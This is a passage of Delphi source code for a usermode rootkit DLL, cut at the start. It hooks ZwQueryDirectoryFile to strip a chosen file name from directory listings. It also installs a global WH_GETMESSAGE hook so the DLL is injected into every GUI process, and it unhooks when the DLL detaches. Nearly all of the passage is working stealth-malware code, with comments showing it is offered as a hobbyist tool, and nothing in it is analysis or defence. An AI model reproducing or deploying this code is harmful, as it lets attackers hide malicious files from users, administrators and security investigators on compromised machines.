if not (FileInformationClass in [ FileDirectoryInformation, FileFullDirectoryInformation, FileBothDirectoryInformation, FileNamesInformation]) or (Result = STATUS_NO_SUCH_FILE) or (FileInformationLength = 0) then Exit; lPt := FileInformation; lPrevPt := nil; repeat lNextEntryOffset := ULONG(lPt^);
case FileInformationClass of FileDirectoryInformation: begin lSz := FILE_DIRECTORY_INFORMATION(lPt^).FileNameLength; lNamePWC := @FILE_DIRECTORY_INFORMATION(lPt^).FileName; end; FileFullDirectoryInformation: begin lSz := FILE_FULL_DIRECTORY_INFORMATION(lPt^).FileNameLength; lNamePWC := @FILE_FULL_DIRECTORY_INFORMATION(lPt^).FileName; end; FileBothDirectoryInformation: begin lSz := FILE_BOTH_DIRECTORY_INFORMATION(lPt^).FileNameLength; lNamePWC := @FILE_BOTH_DIRECTORY_INFORMATION(lPt^).FileName; end; FileNamesInformation: begin lSz := FILE_NAMES_INFORMATION(lPt^).FileNameLength; lNamePWC := @FILE_NAMES_INFORMATION(lPt^).FileName; end; end;
SetLength( lNameW, lSz div 2); Move( lNamePWC^, lNameW[1], lSz );
(* Checkin for our file name *) if lstrcmpiW( @HideFileNameW[1], @lNameW[1] ) = 0 then begin //Founded :) if lPt = FileInformation then begin // begin //This code part not tested, may have bugs :b if lNextEntryOffset <> 0 then begin lPt := Pointer(ULONG(lPt)+lNextEntryOffset); Move( lPt^, FileInformation^, FileInformationLength - lNextEntryOffset ); end else Result := STATUS_NO_SUCH_FILE; end //this part works fine else if lNextEntryOffset <> 0 then begin // center ULONG(lPrevPt^) := ULONG(lPrevPt^) + lNextEntryOffset; end else //end begin ULONG(lPrevPt^) := 0; end; Break; // end; lPrevPt := lPt; lPt := Pointer(ULONG(lPt)+lNextEntryOffset); until lNextEntryOffset = 0; end;
Procedure Unhook(); var Bytes: dword; begin WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes); end;
Function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin CallNextHookEx(0, Code, wParam, lparam); Result := 0; end;
Procedure SetGlobalHookProc(); begin SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0); Sleep(INFINITE); end; //
Procedure SetGlobalHook(); var hMutex: dword; TrId: dword; begin hMutex := CreateMutex(nil, false, 'ProcHideHook'); if GetLastError = 0 then CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else CloseHandle(hMutex); end;
procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin SetGlobalHook(); SetHook(); end; DLL_PROCESS_DETACH: begin Unhook(); end; end; end;
begin DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end.